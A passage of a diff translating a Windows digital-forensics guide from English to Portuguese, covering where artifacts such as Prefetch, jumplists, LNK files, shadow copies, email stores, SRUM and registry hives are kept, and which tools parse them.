+No caminho `\Users\\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o aniversário do Windows).
 
-Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data.
+Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification` com todas as notificações (em formato XML) que podem conter dados interessantes.
 
 ### Timeline
 
-Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications.
+Timeline é uma característica do Windows que fornece **histórico cronológico** de páginas da web visitadas, documentos editados e aplicativos executados.
 
-The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
+O banco de dados reside no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
 
 ### ADS (Alternate Data Streams)
 
-Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded.
+Arquivos baixados podem conter o **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam até **mais** **informações** como a **URL** de onde o arquivo foi baixado.
 
 ## **File Backups**
 
 ### Recycle Bin
 
-In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\
-When a file is deleted in this folder 2 specific files are created:
+No Vista/Win7/Win8/Win10 a **Recycle Bin** pode ser encontrada na pasta **`$Recycle.bin`** na raiz da unidade (`C:\$Recycle.bin`).\
+Quando um arquivo é excluído nesta pasta, 2 arquivos específicos são criados:
 
-- `$I{id}`: File information (date of when it was deleted}
-- `$R{id}`: Content of the file
+- `$I{id}`: Informações do arquivo (data de quando foi excluído)
+- `$R{id}`: Conteúdo do arquivo
 
 ![](<../../../images/image (486).png>)
 
-Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10).
-
+Tendo esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obter o endereço original dos arquivos excluídos e a data em que foram excluídos (use `rifiuti-vista.exe` para Vista – Win10).
 ```
 .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
 ```
-
 ![](<../../../images/image (495) (1) (1) (1).png>)
 
-### Volume Shadow Copies
+### Cópias de Sombra de Volume
 
-Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.
+A Cópia de Sombra é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneas de arquivos ou volumes de computador, mesmo quando estão em uso.
 
-These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image:
+Esses backups geralmente estão localizados em `\System Volume Information` na raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na imagem a seguir:
 
 ![](<../../../images/image (520).png>)
 
-Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups.
+Montando a imagem forense com o **ArsenalImageMounter**, a ferramenta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) pode ser usada para inspecionar uma cópia de sombra e até mesmo **extrair os arquivos** dos backups de cópia de sombra.
 
 ![](<../../../images/image (521).png>)
 
-The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**:
+A entrada do registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contém os arquivos e chaves **para não fazer backup**:
 
 ![](<../../../images/image (522).png>)
 
-The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`.
+O registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` também contém informações de configuração sobre as `Cópias de Sombra de Volume`.
 
-### Office AutoSaved Files
+### Arquivos AutoSalvos do Office
 
-You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
+Você pode encontrar os arquivos auto-salvos do office em: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
 
-## Shell Items
+## Itens de Shell
 
-A shell item is an item that contains information about how to access another file.
+Um item de shell é um item que contém informações sobre como acessar outro arquivo.
 
-### Recent Documents (LNK)
+### Documentos Recentes (LNK)
 
-Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in:
+O Windows **automaticamente** **cria** esses **atalhos** quando o usuário **abre, usa ou cria um arquivo** em:
 
 - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
 - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
 
-When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created.
+Quando uma pasta é criada, um link para a pasta, para a pasta pai e para a pasta avó também é criado.
 
-These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed.
+Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** **ou** uma **pasta**, **tempos MAC** desse arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo de destino**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos.
 
-Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used.
+Além disso, a **data de criação do link** é a primeira **vez** que o arquivo original foi **usado** e a **data** **modificada** do arquivo de link é a **última** **vez** que o arquivo de origem foi usado.
 
-To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/).
+Para inspecionar esses arquivos, você pode usar [**LinkParser**](http://4discovery.com/our-tools/).
 
-In this tools you will find **2 sets** of timestamps:
+Nesta ferramenta, você encontrará **2 conjuntos** de timestamps:
 
-- **First Set:**
-  1. FileModifiedDate
-  2. FileAccessDate
-  3. FileCreationDate
-- **Second Set:**
-  1. LinkModifiedDate
-  2. LinkAccessDate
-  3. LinkCreationDate.
+- **Primeiro Conjunto:**
+1. FileModifiedDate
+2. FileAccessDate
+3. FileCreationDate
+- **Segundo Conjunto:**
+1. LinkModifiedDate
+2. LinkAccessDate
+3. LinkCreationDate.
 
-The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**.
-
-You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
+O primeiro conjunto de timestamps refere-se aos **timestamps do próprio arquivo**. O segundo conjunto refere-se aos **timestamps do arquivo vinculado**.
 
+Você pode obter as mesmas informações executando a ferramenta CLI do Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
 ```
 LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
 ```
-
-In this case, the information is going to be saved inside a CSV file.
+Neste caso, as informações serão salvas dentro de um arquivo CSV.
 
 ### Jumplists
 
-These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**.
+Estes são os arquivos recentes que são indicados por aplicativo. É a lista de **arquivos recentes usados por um aplicativo** que você pode acessar em cada aplicativo. Eles podem ser criados **automaticamente ou ser personalizados**.
 
-The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application.
+Os **jumplists** criados automaticamente são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Os jumplists são nomeados seguindo o formato `{id}.autmaticDestinations-ms`, onde o ID inicial é o ID do aplicativo.
 
-The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite)
+Os jumplists personalizados são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e são criados pelo aplicativo geralmente porque algo **importante** aconteceu com o arquivo (talvez marcado como favorito).
 
-The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**.
+O **tempo de criação** de qualquer jumplist indica **a primeira vez que o arquivo foi acessado** e o **tempo modificado da última vez**.
 
-You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
+Você pode inspecionar os jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
 
 ![](<../../../images/image (474).png>)
 
-(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_)
+(_Note que os timestamps fornecidos pelo JumplistExplorer estão relacionados ao próprio arquivo jumplist_)
 
 ### Shellbags
 
-[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags)
+[**Siga este link para aprender o que são os shellbags.**](interesting-windows-registry-keys.md#shellbags)
 
-## Use of Windows USBs
+## Uso de USBs do Windows
 
-It's possible to identify that a USB device was used thanks to the creation of:
+É possível identificar que um dispositivo USB foi usado graças à criação de:
 
-- Windows Recent Folder
-- Microsoft Office Recent Folder
+- Pasta Recentes do Windows
+- Pasta Recentes do Microsoft Office
 - Jumplists
 
-Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder:
+Note que alguns arquivos LNK em vez de apontar para o caminho original, apontam para a pasta WPDNSE:
 
 ![](<../../../images/image (476).png>)
 
-The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag.
+Os arquivos na pasta WPDNSE são uma cópia dos originais, portanto não sobreviverão a uma reinicialização do PC e o GUID é retirado de um shellbag.
 
-### Registry Information
+### Informações do Registro
 
-[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices.
+[Verifique esta página para aprender](interesting-windows-registry-keys.md#usb-information) quais chaves de registro contêm informações interessantes sobre dispositivos USB conectados.
 
 ### setupapi
 
-Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
+Verifique o arquivo `C:\Windows\inf\setupapi.dev.log` para obter os timestamps sobre quando a conexão USB foi produzida (procure por `Section start`).
 
 ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
 
 ### USB Detective
 
-[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image.
+[**USBDetective**](https://usbdetective.com) pode ser usado para obter informações sobre os dispositivos USB que foram conectados a uma imagem.
 
 ![](<../../../images/image (483).png>)
 
-### Plug and Play Cleanup
+### Limpeza de Plug and Play
 
-The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion.
+A tarefa agendada conhecida como 'Limpeza de Plug and Play' é projetada principalmente para a remoção de versões de driver desatualizadas. Ao contrário de seu propósito especificado de reter a versão mais recente do pacote de driver, fontes online sugerem que ela também visa drivers que estiveram inativos por 30 dias. Consequentemente, drivers para dispositivos removíveis não conectados nos últimos 30 dias podem ser sujeitos à exclusão.
 
-The task is located at the following path:
+A tarefa está localizada no seguinte caminho:
 `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
 
-A screenshot depicting the task's content is provided:
+Uma captura de tela mostrando o conteúdo da tarefa é fornecida:
 ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
 
-**Key Components and Settings of the Task:**
+**Componentes e Configurações Principais da Tarefa:**
 
-- **pnpclean.dll**: This DLL is responsible for the actual cleanup process.
-- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine.
+- **pnpclean.dll**: Este DLL é responsável pelo processo de limpeza real.
+- **UseUnifiedSchedulingEngine**: Definido como `TRUE`, indicando o uso do mecanismo de agendamento de tarefas genérico.
 - **MaintenanceSettings**:
-  - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance.
-  - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance.
+- **Period ('P1M')**: Direciona o Agendador de Tarefas a iniciar a tarefa de limpeza mensalmente durante a manutenção automática regular.
+- **Deadline ('P2M')**: Instruções ao Agendador de Tarefas, se a tarefa falhar por dois meses consecutivos, para executar a tarefa durante a manutenção automática de emergência.
 
-This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures.
+Esta configuração garante manutenção e limpeza regulares dos drivers, com disposições para reattemptar a tarefa em caso de falhas consecutivas.
 
-**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
+**Para mais informações, verifique:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
 
 ## Emails
 
-Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like:
+Os emails contêm **2 partes interessantes: Os cabeçalhos e o conteúdo** do email. Nos **cabeçalhos** você pode encontrar informações como:
 
-- **Who** sent the emails (email address, IP, mail servers that have redirected the email)
-- **When** was the email sent
+- **Quem** enviou os emails (endereço de email, IP, servidores de email que redirecionaram o email)
+- **Quando** o email foi enviado
 
-Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages:
+Além disso, dentro dos cabeçalhos `References` e `In-Reply-To` você pode encontrar o ID das mensagens:
 
 ![](<../../../images/image (484).png>)
 
-### Windows Mail App
+### Aplicativo de Email do Windows
 
-This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension.
+Este aplicativo salva emails em HTML ou texto. Você pode encontrar os emails dentro de subpastas em `\Users\\AppData\Local\Comms\Unistore\data\3\`. Os emails são salvos com a extensão `.dat`.
 
-The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol`
+Os **metadados** dos emails e os **contatos** podem ser encontrados dentro do **banco de dados EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol`
 
-**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails.
+**Mude a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abri-lo. Dentro da tabela `Message` você pode ver os emails.
 
 ### Microsoft Outlook
 
-When Exchange servers or Outlook clients are used there are going to be some MAPI headers:
+Quando servidores Exchange ou clientes Outlook são usados, haverá alguns cabeçalhos MAPI:
 
-- `Mapi-Client-Submit-Time`: Time of the system when the email was sent
-- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread
-- `Mapi-Entry-ID`: Message identifier.
-- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?)
+- `Mapi-Client-Submit-Time`: Hora do sistema quando o email foi enviado
+- `Mapi-Conversation-Index`: Número de mensagens filhas do thread e timestamp de cada mensagem do thread
+- `Mapi-Entry-ID`: Identificador da mensagem.
+- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informações sobre o cliente MAPI (mensagem lida? não lida? respondida? redirecionada? fora do escritório?)
 
-In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in:
+No cliente Microsoft Outlook, todas as mensagens enviadas/recebidas, dados de contatos e dados de calendário são armazenados em um arquivo PST em:
 
 - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
 - `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
 
-The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used.
+O caminho do registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica o arquivo que está sendo usado.
 
-You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
+Você pode abrir o arquivo PST usando a ferramenta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
 
 ![](<../../../images/image (485).png>)
 
-### Microsoft Outlook OST Files
+### Arquivos OST do Microsoft Outlook
 
-An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized.
+Um **arquivo OST** é gerado pelo Microsoft Outlook quando está configurado com **IMAP** ou um servidor **Exchange**, armazenando informações semelhantes a um arquivo PST. Este arquivo é sincronizado com o servidor, retendo dados por **12 meses** até um **tamanho máximo de 50GB**, e está localizado no mesmo diretório que o arquivo PST. Para visualizar um arquivo OST, o [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) pode ser utilizado.
 
-### Retrieving Attachments
+### Recuperando Anexos
 
-Lost attachments might be recoverable from:
+Anexos perdidos podem ser recuperáveis de:
 
-- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
-- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
+- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
+- Para **IE11 e acima**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
 
-### Thunderbird MBOX Files
+### Arquivos MBOX do Thunderbird
 
-**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
+**Thunderbird** utiliza **arquivos MBOX** para armazenar dados, localizados em `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
 
-### Image Thumbnails
+### Miniaturas de Imagem
 
-- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion.
-- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path.
-- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files.
+- **Windows XP e 8-8.1**: Acessar uma pasta com miniaturas gera um arquivo `thumbs.db` armazenando pré-visualizações de imagem, mesmo após a exclusão.
+- **Windows 7/10**: `thumbs.db` é criado quando acessado através de uma rede via caminho UNC.
+- **Windows Vista e versões mais recentes**: Pré-visualizações de miniaturas são centralizadas em `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` com arquivos nomeados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) são ferramentas para visualizar esses arquivos.
 
-### Windows Registry Information
+### Informações do Registro do Windows
 
-The Windows Registry, storing extensive system and user activity data, is contained within files in:
+O Registro do Windows, armazenando extensos dados de atividade do sistema e do usuário, está contido em arquivos em:
 
-- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys.
-- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`.
-- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`.
-- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards.
+- `%windir%\System32\Config` para várias subchaves de `HKEY_LOCAL_MACHINE`.
+- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
+- Windows Vista e versões posteriores fazem backup dos arquivos de registro de `HKEY_LOCAL_MACHINE` em `%Windir%\System32\Config\RegBack\`.
+- Além disso, informações sobre a execução de programas são armazenadas em `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partir do Windows Vista e Windows 2008 Server.
 
-### Tools
+### Ferramentas
 
-Some tools are useful to analyze the registry files:
+Algumas ferramentas são úteis para analisar os arquivos de registro:
 
-- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session.
-- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information.
-- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry.
-- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded.
+- **Editor de Registro**: Está instalado no Windows. É uma GUI para navegar pelo registro do Windows da sessão atual.
+- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite carregar o arquivo de registro e navegar por ele com uma GUI. Também contém Favoritos destacando chaves com informações interessantes.
+- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Novamente, possui uma GUI que permite navegar pelo registro carregado e também contém plugins que destacam informações interessantes dentro do registro carregado.
+- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Outro aplicativo GUI capaz de extrair informações importantes do registro carregado.
 
-### Recovering Deleted Element
+### Recuperando Elemento Excluído
 
-When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys.
+Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que ocupa seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
 
-### Last Write Time
+### Último Tempo de Escrita
 
-Each Key-Value contains a **timestamp** indicating the last time it was modified.
+Cada Parâmetro-Chave contém um **timestamp** indicando a última vez que foi modificado.
 
 ### SAM
 
-The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.
+O arquivo/hive **SAM** contém os **usuários, grupos e hashes de senhas dos usuários** do sistema.
 
-In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**.
+Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último logon falhado, contador de logins, política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**.
 
-### Interesting entries in the Windows Registry
+### Entradas Interessantes no Registro do Windows
 
 {{#ref}}
 interesting-windows-registry-keys.md
 {{#endref}}
 
-## Programs Executed
+## Programas Executados
 
-### Basic Windows Processes
+### Processos Básicos do Windows
 
-In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours.
+Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos.
 
-### Windows Recent APPs
+### Aplicativos Recentes do Windows
 
-Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched.
+Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps`, você pode encontrar subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi lançado.
 
-### BAM (Background Activity Moderator)
+### BAM (Moderador de Atividade em Segundo Plano)
 
-You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry).
+Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro).
 
 ### Windows Prefetch
 
-Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker.
+Prefetching é uma técnica que permite que um computador **busque silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente.
 
-Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10.
+O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rápido. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10.
 
-The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point.
+O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Note que a mera presença do arquivo indica que **o programa foi executado** em algum momento.
 
-The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program.
-
-To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
+O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são pré-carregados**. Este arquivo contém **informações sobre o número de execuções**, **datas** da execução e **arquivos** **abertos** pelo programa.
 
+Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
 ```bash
 .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
 ```
-
 ![](<../../../images/image (487).png>)
 
-### Superprefetch
+### Superfetch
 
-**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\
-This service will generate database files in `C:\Windows\Prefetch\Ag*.db`.
+**Superfetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
+Este serviço gerará arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`.
 
-In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**.
+Nestes bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **períodos** e **timestamps**.
 
-You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
+Você pode acessar essas informações usando a ferramenta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
 
 ### SRUM
 
-**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`.
+**System Resource Usage Monitor** (SRUM) **monitora** os **recursos** **consumidos** **por um processo**. Apareceu no W8 e armazena os dados em um banco de dados ESE localizado em `C:\Windows\System32\sru\SRUDB.dat`.
 
-It gives the following information:
+Ele fornece as seguintes informações:
 
-- AppID and Path
-- User that executed the process
-- Sent Bytes
-- Received Bytes
-- Network Interface
-- Connection duration
-- Process duration
+- AppID e Caminho
+- Usuário que executou o processo
+- Bytes Enviados
+- Bytes Recebidos
+- Interface de Rede
+- Duração da Conexão
+- Duração do Processo
 
-This information is updated every 60 mins.
-
-You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
+Essas informações são atualizadas a cada 60 minutos.
 
+Você pode obter a data deste arquivo usando a ferramenta [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
 ```bash
 .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
 ```
-
 ### AppCompatCache (ShimCache)
 
-The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include:
+O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Application Compatibility Database** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicativos. Este componente do sistema registra várias peças de metadados de arquivos, que incluem:
 
